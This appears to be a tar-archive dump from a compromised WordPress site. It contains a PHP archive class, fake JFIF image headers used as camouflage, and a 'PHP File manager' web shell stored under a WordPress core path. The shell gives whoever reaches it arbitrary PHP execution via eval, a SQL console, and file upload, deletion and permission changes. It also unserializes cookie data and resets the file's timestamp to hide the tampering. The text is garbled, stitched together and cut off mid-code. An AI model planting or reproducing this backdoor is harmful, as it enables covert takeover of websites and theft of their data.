			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
